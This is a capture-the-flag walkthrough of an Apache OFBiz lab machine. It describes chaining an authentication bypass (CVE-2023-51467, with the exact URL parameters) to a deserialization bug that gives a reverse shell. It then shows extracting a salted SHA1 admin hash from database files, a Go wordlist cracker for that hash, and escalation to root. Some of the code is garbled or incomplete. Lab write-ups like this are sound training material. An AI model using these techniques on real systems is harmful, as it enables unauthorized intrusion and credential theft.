The exploit takes advantage of two vulnerabilities of this apache OFZiz version:
CVE-2023-51467: Is a Authentication Bypass that consist in add ?USERNAME=&PASSWORD=&requirePasswordChange=Y. in the end of the URL and the login fuction of Apache OFBiz will bug and think you are authenticated on the application. If you want more in details about it works check out Sonic Wall blog post about it.
CVE-2023-49070: Is a Authenticated Java Deserialization bug on the endpoint /webtools/control/xmlrpc/.
The exploit I found actually uses ysoserial to generate the serialized data.Configuring the java enviroment to work properly can be complex, so I recommend running it mannually in a docker container. Luckily, the exploit worked in my environment and I got a reverse shell with the follow command:
Once I got the shell, I started enumerating the machine with the following commands:
Terminal window
1
ss-ltnp# Show the listening ports on the host
2
sudo-l# Check for sudo privileges (note: password require)
Next, I searched for passwords in Apache OFBiz configuration files but without success. Eventually, I found a file named docker/docker-entrypoint.sh which contained the following code that generates a SHA1 hash:
Terminal window
1
load_admin_user(){
2
if[!-f"$CONTAINER_ADMIN_LOADED"];then
3
TMPFILE=$(mktemp)
4
5
# Concatenate a random salt and the admin password.
The code essentially generates a SALT, concatenate it with the PASSWORD, hashes the result using sha1sum, and encode it again using base64 for URLs. Finally, it save the encoded password in the format: $SHA${SALT}{SHA1}.
After learning about the hash, I used this command grep -r '$SHA to see if the hash existed on the machine. The command returned some files inside the directory /runtime/data/derby/ofbiz/seg0/. Navigating to this directory, I found many .dat files (probally database files), So I used strings and grep commands to extract the hash.
The easy option would by to manually decode the base64-encoded password and provide the SALT and HashType to John or Hashcat. However, to improving my Go skills, I coded the following script to crack the hash:
1
packagemain
2
3
import(
4
"bufio"
5
"crypto/sha1"
6
"encoding/base64"
7
"encoding/hex"
8
"fmt"
9
"os"
10
"strings"
11
)
12
13
const salt ="d"
14
15
const HASH ="uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
16
17
funcmain(){
18
19
//Read the wordlist file
20
worlist_file :="/usr/share/wordlists/rockyou.txt"
21
wordlist, _ := os.Open(worlist_file)
22
scanner := bufio.NewScanner(wordlist)
23
defer wordlist.Close()
24
25
for scanner.Scan(){
26
27
// Use sha1sum on the Salt and password
28
hash := sha1.New()
29
hash.Write([]byte(salt))
30
hash.Write([]byte(scanner.Text()))
31
sha1_pass := hash.Sum(nil)
32
33
// Base64 encode it and remove the '=' charactes at the end.
// Check if the Hash we got matches the hash we are searching for.
37
if found_hash == HASH {
38
fmt.Println("Found: ", scanner.Text())
39
break
40
}
41
}
42
43
}
running the above code with go run ./main.go will eventually give us the right password as showing in the following screenshot:
WARNING
This code works but have some compabilities problems. For example, if the password contains the character ’%’, the printf function in bash (docker-entrypoint.sh) will interpret it, but your go script won’t, so we will never found the password.
With the cracked password, we can log in as root: su root
With root access, we can read the contest of /root/root.txt file and complete the CTF challenge.